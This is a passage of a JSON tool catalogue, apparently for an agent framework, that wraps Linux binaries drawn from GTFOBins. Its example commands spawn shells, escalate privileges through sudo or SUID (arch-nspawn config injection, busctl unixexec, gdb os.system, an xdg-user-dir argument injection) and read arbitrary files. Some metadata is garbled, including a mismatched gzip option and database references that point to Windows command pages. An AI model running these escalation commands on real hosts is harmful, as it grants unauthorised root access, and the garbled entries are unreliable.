        "flag": "-c"
      },
      {
        "name": "suffix",
        "template_key": "suffix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--synchronous synchronous output (safer if system crashes, but slower)",
        "aliases": [
          "-S",
          "--suffix"
        ],
        "enum": [
          "safer if system crashes",
          "but slower"
        ],
        "flag": "-S"
      },
      {
        "name": "synchronous",
        "type": "boolean",
        "required": false,
        "description": "synchronous output (safer if system crashes, but slower)",
        "aliases": [
          "--synchronous"
        ],
        "flag": "--synchronous"
      },
      {
        "name": "test",
        "template_key": "test",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "test compressed file integrity",
        "aliases": [
          "-t",
          "--test"
        ],
        "flag": "-t"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "verbose mode",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display version number",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Gzip documentation",
        "url": "https://www.gnu.org/software/gzip/manual/"
      },
      {
        "label": "DEFLATE algorithm",
        "url": "https://datatracker.ietf.org/doc/html/rfc1951"
      }
    ],
    "related_tools": [
      "gunzip",
      "zcat",
      "bzip2",
      "xz",
      "zstd"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "high"
    },
    "risk_level": "low",
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "compressed-file",
        "decompressed-output"
      ],
      "consumes": [
        "input-file",
        "compressed-file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "arch-nspawn.md",
    "allowed-tools": [
      "arch-nspawn",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo or unprivileged execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Spawn a shell in an Arch Linux chroot container, can be used for privilege escalation via sudo.",
    "examples": [
      {
        "description": "Spawn an interactive shell via arch-nspawn",
        "command": "mkdir -p ./etc/ && grep -oP \"^CHROOT_VERSION='\\K[^']+\" /usr/share/devtools/lib/archroot.sh >.arch-chroot && touch ./etc/pacman.conf && echo 'CARCH=true;/bin/sh;exit' >etc/makepkg.conf && arch-nspawn .\n"
      }
    ],
    "execution": {
      "template": "arch-nspawn {args}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-container-arch-nspawn",
    "install": [
      {
        "method": "apt",
        "package_name": "devtools",
        "commands": [
          "apt-get install -y devtools"
        ]
      },
      {
        "method": "pacman",
        "package_name": "devtools",
        "commands": [
          "pacman -S devtools"
        ]
      }
    ],
    "name": "arch-nspawn",
    "namespace": "system:container:arch-nspawn",
    "parameters": [
      {
        "name": "args",
        "type": "string",
        "required": false,
        "description": "Arguments to arch-nspawn"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/arch-nspawn/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "chroot.md",
    "allowed-tools": [
      "chroot",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run command or shell with a different root directory, can spawn a privileged shell with SUID.",
    "examples": [
      {
        "description": "Spawn a shell via chroot",
        "command": "chroot /"
      }
    ],
    "execution": {
      "template": "chroot {directory} /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-container-chroot",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "chroot",
    "namespace": "system:container:chroot",
    "parameters": [
      {
        "name": "directory",
        "type": "string",
        "required": false,
        "description": "Root directory for chroot"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/chroot/"
      }
    ],
    "related_tools": [
      "arch-nspawn"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "nsenter.md",
    "allowed-tools": [
      "nsenter",
      "unshare",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Enter namespaces, can escalate privileges and spawn shells in containers.",
    "examples": [
      {
        "description": "Spawn a shell via nsenter",
        "command": "nsenter --target <pid> --mount --uts --ipc --net --pid -- /bin/sh"
      }
    ],
    "execution": {
      "template": "nsenter --target <pid> --mount --uts --ipc --net --pid -- /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-container-nsenter",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "name": "nsenter",
    "namespace": "system:container:nsenter",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nsenter/"
      }
    ],
    "related_tools": [
      "unshare",
      "genie"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# unshare\n\nunshare is a command-line utility. Run programs in new Linux namespaces; can also spawn an interactive shell.\n",
    "_source": "unshare.md",
    "allowed-tools": [
      "unshare"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run programs in isolated Linux namespaces; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "unshare /bin/sh"
      }
    ],
    "execution": {
      "template": "unshare",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-container-unshare",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "name": "unshare",
    "namespace": "system:container:unshare",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/unshare/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# start-stop-daemon\n\nstart-stop-daemon is a command-line utility. Start and stop system daemon programs; can also spawn an interactive shell.\n",
    "_source": "start-stop-daemon.md",
    "allowed-tools": [
      "start-stop-daemon"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Start and stop system daemons; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "start-stop-daemon -S -x /bin/sh"
      }
    ],
    "execution": {
      "template": "start-stop-daemon",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "interactive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-daemon-start-stop-daemon",
    "install": [
      {
        "method": "apt",
        "package_name": "dpkg",
        "commands": [
          "apt-get install -y dpkg"
        ]
      }
    ],
    "name": "start-stop-daemon",
    "namespace": "system:daemon:start-stop-daemon",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/start-stop-daemon/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# systemd-run\n\nsystemd-run is a command-line utility. Run commands in transient systemd scopes/services.\n",
    "_source": "systemd-run.md",
    "allowed-tools": [
      "systemd-run"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run commands in transient systemd services; can execute arbitrary commands and spawn shells.",
    "examples": [
      {
        "description": "Execute arbitrary commands (sudo)",
        "command": "systemd-run /path/to/command"
      },
      {
        "description": "Spawn an interactive shell (sudo)",
        "command": "systemd-run -S"
      },
      {
        "description": "Spawn an interactive shell (sudo)",
        "command": "systemd-run -t /bin/sh"
      }
    ],
    "execution": {
      "template": "systemd-run",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-daemon-systemd-run",
    "install": [
      {
        "method": "apt",
        "package_name": "systemd",
        "commands": [
          "apt-get install -y systemd"
        ]
      }
    ],
    "name": "systemd-run",
    "namespace": "system:daemon:systemd-run",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/systemd-run/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "mongosh.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "MongoDB Shell — interactive JavaScript interface to MongoDB.",
    "examples": [
      {
        "description": "Display help for mongosh",
        "command": "mongosh --help"
      }
    ],
    "execution": {
      "template": "mongosh --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "sys-mongosh",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y mongodb-mongosh"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "mongosh",
    "namespace": "system:database:mongodb",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "mongosh Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mongosh"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "redis-cli.md",
    "capabilities": [
      "system.information-gathering",
      "system.monitoring",
      "system.administration"
    ],
    "description": "Redis command line client for querying and managing Redis instances.",
    "examples": [
      {
        "description": "Display help for redis-cli",
        "command": "redis-cli --help"
      }
    ],
    "execution": {
      "template": "redis-cli --help",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "redis-cli",
    "install": [
      {
        "method": "custom",
        "description": "Install via package manager",
        "commands": [
          "apt-get install -y redis-tools"
        ]
      }
    ],
    "mitre_ids": [],
    "name": "redis-cli",
    "namespace": "system:database:redis",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "redis-cli Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/redis-cli"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# date — Display/Set Date and Time\n\ndate displays or sets the system date and time. The GNU version's `-f` flag parses a file for date strings, leaking each line with a prefix in quotes — useful for file read when used with elevated privileges.\n",
    "_source": "date.md",
    "allowed-tools": [
      "date",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "system.datetime.display"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to parse as date strings"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "File content with prefix corruption",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Display or set system date and time, can read files via -f flag.",
    "examples": [
      {
        "description": "Read arbitrary file via date format parsing, each line wrapped in quotes with prefix",
        "command": "date -f /path/to/input-file"
      }
    ],
    "execution": {
      "template": "date {f}",
      "sandbox": "execFile",
      "timeout_seconds": 10,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "system-datetime-date",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "date",
    "namespace": "system:datetime:date",
    "parameters": [
      {
        "name": "f",
        "type": "file",
        "required": false,
        "description": "Read dates from file",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "date man page",
        "url": "https://man7.org/linux/man-pages/man1/date.1.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "busctl.md",
    "allowed-tools": [
      "busctl",
      "less",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo, SUID, or unprivileged execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file content output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Introspect and monitor the D-Bus bus, can spawn shells via address parameter or inherit less capabilities.",
    "examples": [
      {
        "description": "Spawn a shell via busctl address option",
        "command": "busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'\n"
      },
      {
        "description": "Spawn a shell via busctl set-property",
        "command": "busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'\n"
      }
    ],
    "execution": {
      "template": "busctl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-dbus-busctl",
    "install": [
      {
        "method": "apt",
        "package_name": "systemd",
        "commands": [
          "apt-get install -y systemd"
        ]
      }
    ],
    "name": "busctl",
    "namespace": "system:dbus:busctl",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/busctl/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "\n# apport-cli — Ubuntu Crash Report Handler\n\napport-cli is Ubuntu's crash report interface. When run, it presents a menu that can spawn a pager (less), which can then be used to read arbitrary files or execute commands via the pager's escape functionality (`!command`).\n",
    "_source": "apport-cli.md",
    "allowed-tools": [
      "apport-cli",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content via pager",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Ubuntu crash report handler that can spawn a pager (less) to read arbitrary files.",
    "examples": [
      {
        "description": "Spawn less pager via crash report interface to read files",
        "command": "apport-cli -f\n1\n2\nv"
      }
    ],
    "execution": {
      "template": "apport-cli {f}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-debug-apport-cli",
    "install": [
      {
        "method": "apt",
        "package_name": "apport",
        "commands": [
          "apt-get install -y apport"
        ]
      }
    ],
    "name": "apport-cli",
    "namespace": "system:debug:apport-cli",
    "parameters": [
      {
        "name": "f",
        "type": "string",
        "required": false,
        "description": "Report a problem",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "Apport documentation",
        "url": "https://wiki.ubuntu.com/Apport"
      }
    ],
    "related_tools": [
      "less",
      "systemctl"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "gcore.md",
    "allowed-tools": [
      "gcore",
      "gdb",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Core dump generator, can read process memory and files.",
    "examples": [
      {
        "description": "Read process memory via gcore",
        "command": "gcore -o /path/to/output <pid>"
      }
    ],
    "execution": {
      "template": "gcore -o /path/to/output <pid>",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-debug-gcore",
    "install": [
      {
        "method": "apt",
        "package_name": "gdb",
        "commands": [
          "apt-get install -y gdb"
        ]
      }
    ],
    "name": "gcore",
    "namespace": "system:debug:gcore",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/gcore/"
      }
    ],
    "related_tools": [
      "gdb"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "gdb.md",
    "allowed-tools": [
      "gdb",
      "python",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU debugger, can execute commands via Python scripting.",
    "examples": [
      {
        "description": "Execute command via gdb Python integration",
        "command": "gdb -batch -ex 'python import os; os.system(\"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "gdb -batch -ex 'python import os; os.system(\"/bin/sh\")'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip",
      "interactive"
    ],
    "global_vars": {},
    "id": "system-debug-gdb",
    "install": [
      {
        "method": "apt",
        "package_name": "gdb",
        "commands": [
          "apt-get install -y gdb"
        ]
      }
    ],
    "name": "gdb",
    "namespace": "system:debug:gdb",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/gdb/"
      }
    ],
    "related_tools": [
      "gcore",
      "python"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ltrace.md",
    "allowed-tools": [
      "ltrace",
      "strace",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Library call tracer, can read files and execute commands.",
    "examples": [
      {
        "description": "Read file via ltrace",
        "command": "ltrace /path/to/binary"
      },
      {
        "description": "Execute command via ltrace",
        "command": "ltrace /path/to/binary"
      }
    ],
    "execution": {
      "template": "ltrace /path/to/binary",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-debug-ltrace",
    "install": [
      {
        "method": "apt",
        "package_name": "ltrace",
        "commands": [
          "apt-get install -y ltrace"
        ]
      }
    ],
    "name": "ltrace",
    "namespace": "system:debug:ltrace",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ltrace/"
      }
    ],
    "related_tools": [
      "strace",
      "gdb"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "scanmem.md",
    "allowed-tools": [
      "scanmem",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Memory read output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Memory scanner, can read process memory.",
    "examples": [
      {
        "description": "Read process memory via scanmem",
        "command": "scanmem -p <pid>"
      }
    ],
    "execution": {
      "template": "scanmem -p <pid>",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-debug-scanmem",
    "install": [
      {
        "method": "apt",
        "package_name": "scanmem",
        "commands": [
          "apt-get install -y scanmem"
        ]
      }
    ],
    "name": "scanmem",
    "namespace": "system:debug:scanmem",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/scanmem/"
      }
    ],
    "related_tools": [
      "gdb",
      "gcore"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n# xdg-user-dir\n\nxdg-user-dir is a command-line utility. Query XDG user directory paths; can also spawn an interactive shell.\n",
    "_source": "xdg-user-dir.md",
    "allowed-tools": [
      "xdg-user-dir"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Query XDG user directory paths; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, unprivileged)",
        "command": "xdg-user-dir '}; /bin/sh #'"
      }
    ],
    "execution": {
      "template": "xdg-user-dir",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-desktop-xdg-user-dir",
    "install": [
      {
        "method": "apt",
        "package_name": "xdg-utils",
        "commands": [
          "apt-get install -y xdg-utils"
        ]
